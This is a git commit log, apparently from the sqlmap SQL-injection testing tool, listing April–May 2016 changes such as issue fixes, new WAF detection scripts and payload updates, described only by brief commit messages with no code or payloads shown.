Miroslav Stampar	229d3a7dd0	Patch for cases when error page looks more like original, than the False one does	2016-05-30 16:46:23 +02:00
Miroslav Stampar	b965e5bf1c	Minor refactoring	2016-05-30 16:06:39 +02:00
Miroslav Stampar	3bd74c5351	Minor patch	2016-05-30 15:20:21 +02:00
Miroslav Stampar	55624ec1a2	Minor message update	2016-05-30 14:40:22 +02:00
Miroslav Stampar	6885afe8c3	Minor update for requestvalidationmode.py waf script	2016-05-30 14:26:55 +02:00
Miroslav Stampar	acc1277246	Minor update	2016-05-30 14:13:57 +02:00
Miroslav Stampar	935cb9c8cb	Patch for a custom header cookie urlencoding	2016-05-30 14:09:53 +02:00
Miroslav Stampar	17a4ddad63	Fixes #1916	2016-05-30 13:10:25 +02:00
Miroslav Stampar	5264671f5b	Dump formatting patch for MsAccess	2016-05-30 12:03:33 +02:00
Miroslav Stampar	b4ebbae354	New payload(s)	2016-05-30 11:25:24 +02:00
Miroslav Stampar	510197c39e	Minor text update	2016-05-30 10:52:30 +02:00
Miroslav Stampar	b6a4bd91fe	Minor text update	2016-05-30 10:51:35 +02:00
Miroslav Stampar	83b82a5e98	Bug fix (wrong handler used in case of DBMS resolution)	2016-05-30 10:32:49 +02:00
Miroslav Stampar	0b1efc0759	Minor update (for newer versions of MsSQL)	2016-05-30 01:38:34 +02:00
Miroslav Stampar	2b506d744d	Minor update	2016-05-30 01:29:40 +02:00
Miroslav Stampar	79d08906a4	Cleaning some redundant payload(s)	2016-05-27 23:59:48 +02:00
Miroslav Stampar	d27b33e26c	Update README.md	2016-05-27 23:03:59 +02:00
Miroslav Stampar	73d86f0fdd	Merge pull request #1898 from kuma-guy/ja-JP Adding translation for README in Japanese(JP).	2016-05-27 23:02:11 +02:00
Miroslav Stampar	6327063bd0	Minor patch	2016-05-27 16:43:01 +02:00
Miroslav Stampar	69fd900108	Adding waf script for detection of generic/unknown	2016-05-27 16:34:41 +02:00
Miroslav Stampar	f9d01f682b	Cloudflare has tons of HTTP error codes while detecting SQLi	2016-05-27 15:58:16 +02:00
Miroslav Stampar	d7d3db415b	Minor update	2016-05-27 15:32:30 +02:00
Miroslav Stampar	608f141f52	New waf scripts	2016-05-27 15:22:08 +02:00
Miroslav Stampar	31850e4544	Minor bug fixes	2016-05-27 13:58:18 +02:00
Miroslav Stampar	de9f23939f	Major bug fix in WAF/IDS/IPS detection (question 'do you want..to try to detect backend WAF/IPS/IDS' never worked)	2016-05-27 13:41:03 +02:00
Miroslav Stampar	154ed2c4e2	Minor patch	2016-05-27 13:33:14 +02:00
Miroslav Stampar	89dfe4e1ac	Adding wallarm WAF script (and couple of other WAF script updates)	2016-05-27 11:58:18 +02:00
Miroslav Stampar	b41b07ddd8	Updates for 360 and jiasule WAF scripts	2016-05-27 11:02:05 +02:00
Miroslav Stampar	e36fc02282	Adding sophos WAF script	2016-05-27 10:17:42 +02:00
Miroslav Stampar	49b41c1eca	Minor update for cloudflare waf script	2016-05-27 09:43:54 +02:00
Miroslav Stampar	4cd9fdb7df	Minor update for F5 waf script	2016-05-27 09:27:45 +02:00
Miroslav Stampar	5aab2d8fb5	Update for Akamai Kona WAF script	2016-05-27 09:22:39 +02:00
Miroslav Stampar	210b65c02d	Couple of fixes for --identify-waf	2016-05-27 02:24:59 +02:00
Miroslav Stampar	7a2ac23f0b	Adding new waf script (sitelock)	2016-05-27 02:13:01 +02:00
Miroslav Stampar	e435fb2e9e	Adding new waf script (comodo)	2016-05-27 01:23:20 +02:00
Miroslav Stampar	6892c94595	Minor update	2016-05-27 01:10:37 +02:00
Miroslav Stampar	831c960216	Update for an Issue #1899	2016-05-26 16:47:38 +02:00
Miroslav Stampar	43af2a4aee	Fixes #1899	2016-05-26 16:08:59 +02:00
Shingo Kumagai	190819e85d	Adding translation for README in Japanese(JP).	2016-05-26 09:37:45 +09:00
Miroslav Stampar	1de6996c26	Fixes #1893	2016-05-25 15:43:39 +02:00
Miroslav Stampar	304f2ed308	Minor language patch	2016-05-25 15:32:17 +02:00
Miroslav Stampar	148b35da4f	Better extraction of absolute file paths	2016-05-25 15:29:25 +02:00
Miroslav Stampar	3865b3a398	Minor improvement in case of technique E (when waiting for large entry - lots of chunks)	2016-05-25 12:50:53 +02:00
Miroslav Stampar	d6bcbbae1d	Minor patch for E technique to be more compatible with output of U technique	2016-05-25 12:42:15 +02:00
Miroslav Stampar	04b3aefc5d	Patch for special character output in U and E techniques	2016-05-25 12:24:36 +02:00
Miroslav Stampar	a5f8cae599	Fixes #1892	2016-05-24 17:58:35 +02:00
Miroslav Stampar	29c3037512	Better asciinema recording (shorter width)	2016-05-24 17:26:10 +02:00
Miroslav Stampar	d0d7d3a205	Update of location of a sample run	2016-05-24 17:12:44 +02:00
Miroslav Stampar	7ce36ea1b6	Removal of unused imports	2016-05-24 16:40:44 +02:00
Miroslav Stampar	6f97f4796b	Fixes #1891	2016-05-24 16:34:07 +02:00
Miroslav Stampar	39fe96009f	Minor improvement (related to the last commit)	2016-05-24 16:20:39 +02:00
Miroslav Stampar	b475a38895	Better ORDER BY detection	2016-05-24 15:46:06 +02:00
Miroslav Stampar	42de887b05	Language update	2016-05-24 15:18:19 +02:00
Miroslav Stampar	28576bf08e	Minor output update	2016-05-24 15:08:04 +02:00
Miroslav Stampar	c395958dff	Fixes #1888	2016-05-24 14:55:19 +02:00
Miroslav Stampar	798b539eec	Minor update	2016-05-24 14:50:56 +02:00
Miroslav Stampar	70cf8edc75	Fixes #1887	2016-05-24 14:17:00 +02:00
Miroslav Stampar	a81ea88eb0	Fixes #1889	2016-05-24 13:59:34 +02:00
Miroslav Stampar	023dda26fc	Minor update for --os-shell directories	2016-05-24 12:53:21 +02:00
Miroslav Stampar	3e76895155	Minor update	2016-05-24 12:30:01 +02:00
Miroslav Stampar	2c1bd7f034	Update for an Issue #1531 (MySQL quirk with international letters)	2016-05-24 12:01:02 +02:00
Miroslav Stampar	f7cae68378	More formal language	2016-05-22 21:44:17 +02:00
Miroslav Stampar	f6ff1a115a	Better (automatic) picking of a --string candidate (especially in case of international pages)	2016-05-22 21:29:08 +02:00
Miroslav Stampar	32ee586e2a	Minor language update	2016-05-22 14:30:32 +02:00
Miroslav Stampar	b9e5655e3c	Proper naming	2016-05-22 14:26:36 +02:00
Miroslav Stampar	6623c3f877	Pesky bug fix (nobody noticed :)	2016-05-22 14:22:31 +02:00
Miroslav Stampar	30a4173249	I like users which don't know the difference between detection and identification	2016-05-22 12:40:23 +02:00
Miroslav Stampar	dbbe4c6ddd	Fixes #1884	2016-05-22 11:44:21 +02:00
Miroslav Stampar	633e4dfe48	Fixes #1886	2016-05-22 11:37:27 +02:00
Miroslav Stampar	5e8b105677	Fixes #1880	2016-05-19 19:46:12 +02:00
Miroslav Stampar	414dd96bbd	Minor update (warning on negative integer values provided)	2016-05-19 18:04:25 +02:00
Miroslav Stampar	e857c2a88a	Update for an Issue #1879	2016-05-19 13:50:31 +02:00
Miroslav Stampar	e7aaea2b8e	Update for an Issue #1826	2016-05-17 14:10:49 +02:00
Miroslav Stampar	63d7cd607e	Minor patch (for late threading issues)	2016-05-17 13:54:42 +02:00
Miroslav Stampar	d886b08dd9	Update for an Issue #1826	2016-05-17 13:45:03 +02:00
Miroslav Stampar	72f3185ae7	Fixes #1878	2016-05-17 10:47:17 +02:00
Miroslav Stampar	03be9f9b65	Minor removal of blank lines	2016-05-17 10:43:16 +02:00
Miroslav Stampar	d9d0865c13	Another patch for an Issue #1874	2016-05-16 17:09:05 +02:00
Miroslav Stampar	e3f54bc226	Minor patch for #1874	2016-05-16 16:53:28 +02:00
Miroslav Stampar	9662f4a56a	Minor update	2016-05-16 16:47:29 +02:00
Miroslav Stampar	fea5cc8579	Minor patch	2016-05-16 15:37:49 +02:00
Miroslav Stampar	94091cd0e9	Fixes #1871	2016-05-15 09:37:45 +02:00
Miroslav Stampar	cc9f4b6102	Minor refactoring for MariaDB	2016-05-14 15:05:50 +02:00
Miroslav Stampar	cd7c99c752	Minor revert (it was not necessary - caused other problems)	2016-05-14 14:48:17 +02:00
Miroslav Stampar	75478c1181	Fixes #1868	2016-05-14 14:18:34 +02:00
Miroslav Stampar	ad0ca69579	Fixes #1865	2016-05-13 15:14:56 +02:00
Miroslav Stampar	2d801b7122	Minor patch for an Issue #1861	2016-05-12 17:16:55 +02:00
Miroslav Stampar	1e07269fe3	Patch for an Issue #1860	2016-05-12 16:42:12 +02:00
Miroslav Stampar	3b74e99576	Minor update (support for MariaDB)	2016-05-11 15:47:35 +02:00
Miroslav Stampar	439fff684e	Minor update (MSSQL CONCAT payload)	2016-05-11 09:42:54 +02:00
Miroslav Stampar	72cf06119c	Patch for an Issue #1852	2016-05-10 09:55:03 +02:00
Miroslav Stampar	808068d70a	Minor update	2016-05-10 09:19:59 +02:00
Miroslav Stampar	f09072b2b6	Fixes #1853	2016-05-09 13:13:02 +02:00
Miroslav Stampar	be9381abc5	Implements #1845	2016-05-06 13:06:59 +02:00
Miroslav Stampar	5d09f7b85f	Fixes #1822	2016-05-06 10:32:16 +02:00
Miroslav Stampar	8bbfee7591	Cleaning a leftover from `be26392057`	2016-05-06 10:30:58 +02:00
Miroslav Stampar	be26392057	Update for an Issue #1846	2016-05-06 10:23:57 +02:00
Miroslav Stampar	263730f4ee	Fixes #1840	2016-05-04 13:23:59 +02:00
Miroslav Stampar	5d7e1782d9	Fixes #1839	2016-05-04 11:14:42 +02:00
Miroslav Stampar	e27f590c2c	Fixes #1838	2016-05-04 11:11:58 +02:00
Miroslav Stampar	7afe655561	Another minor update for #1836	2016-05-03 12:52:46 +02:00
Miroslav Stampar	3bf08290a4	Update for an Issue #1836	2016-05-03 12:37:10 +02:00
Miroslav Stampar	34c2172391	Fixes #1837	2016-05-03 11:38:47 +02:00
Miroslav Stampar	48044f7a46	Minor update of IDS_WAF_CHECK_PAYLOAD	2016-05-03 00:19:19 +02:00
Miroslav Stampar	04e666182f	Minor update of FORMAT_EXCEPTION_STRINGS	2016-05-02 23:44:43 +02:00
Miroslav Stampar	c797129956	Fixes #1833	2016-05-02 11:10:12 +02:00
Miroslav Stampar	6928dae956	Minor patch	2016-05-02 10:45:50 +02:00
Miroslav Stampar	6db3bcbb51	Minor update for UrlScan	2016-05-02 10:12:19 +02:00
Miroslav Stampar	d7f0b3566d	Automatic monthly tagging	2016-05-02 10:06:30 +02:00
Miroslav Stampar	0c67a90cc0	Minor bug fix	2016-05-02 10:06:30 +02:00
Miroslav Stampar	f06e498fb0	Implementation for an Issue #1826	2016-04-29 14:19:32 +02:00
Miroslav Stampar	ad612bf9e4	Patch for Windows banner display	2016-04-29 00:51:20 +02:00
Miroslav Stampar	9dd5cd8eb6	Removing CloudFlare check	2016-04-29 00:17:07 +02:00
Miroslav Stampar	5ed3cdc819	Minor update	2016-04-22 10:54:55 +02:00
Miroslav Stampar	e07c92bce5	Minor change on banner showing up	2016-04-19 13:45:49 +02:00
Miroslav Stampar	0c5965c7b8	Minor patches	2016-04-19 13:13:37 +02:00
Miroslav Stampar	aa21550712	Minor patch for integer casting heuristics (circumvent auto-casting by DBMS itself)	2016-04-15 13:47:19 +02:00
Miroslav Stampar	66061e8c5f	Fixes #1811	2016-04-15 12:04:54 +02:00
Miroslav Stampar	c4b74c2e01	Fixes #1810	2016-04-12 22:37:14 +02:00
Miroslav Stampar	55b23e78ee	Fixes #1809	2016-04-12 22:10:26 +02:00
Miroslav Stampar	a9526bda92	Minor patch	2016-04-11 22:38:44 +02:00
Miroslav Stampar	0901da3f83	Update for an Issue #1807	2016-04-11 09:43:50 +02:00
Miroslav Stampar	8004652f7b	Some more optimization	2016-04-08 15:30:25 +02:00
Miroslav Stampar	c9b410c97f	Minor update	2016-04-08 14:59:52 +02:00
Miroslav Stampar	814d710320	Minor speed up	2016-04-08 14:41:34 +02:00
Miroslav Stampar	38fcc5a35a	Update for pre-WHERE payloads	2016-04-08 13:19:42 +02:00
Miroslav Stampar	674d516f3e	Minor patch	2016-04-08 11:40:09 +02:00
Miroslav Stampar	8ceb4907a5	Another update for Issue #1800	2016-04-08 11:37:38 +02:00
Miroslav Stampar	ce3749622a	Minor revisit of payload boundaries (Issue #1800 )	2016-04-08 11:28:17 +02:00
Miroslav Stampar	bcfae99701	Adding new WAF script	2016-04-08 10:32:18 +02:00
Miroslav Stampar	44c1c2c6f0	Minor update (reported via email)	2016-04-06 11:43:53 +02:00
Miroslav Stampar	ac08db82b2	Including one more error regex (based on testasp[.]vulnweb[.]com)	2016-04-04 16:14:30 +02:00
Miroslav Stampar	305bfd9d30	Implements #1763	2016-04-04 13:50:10 +02:00
Miroslav Stampar	f9aaec7b4a	Minor patch (binary extensions)	2016-04-04 12:43:53 +02:00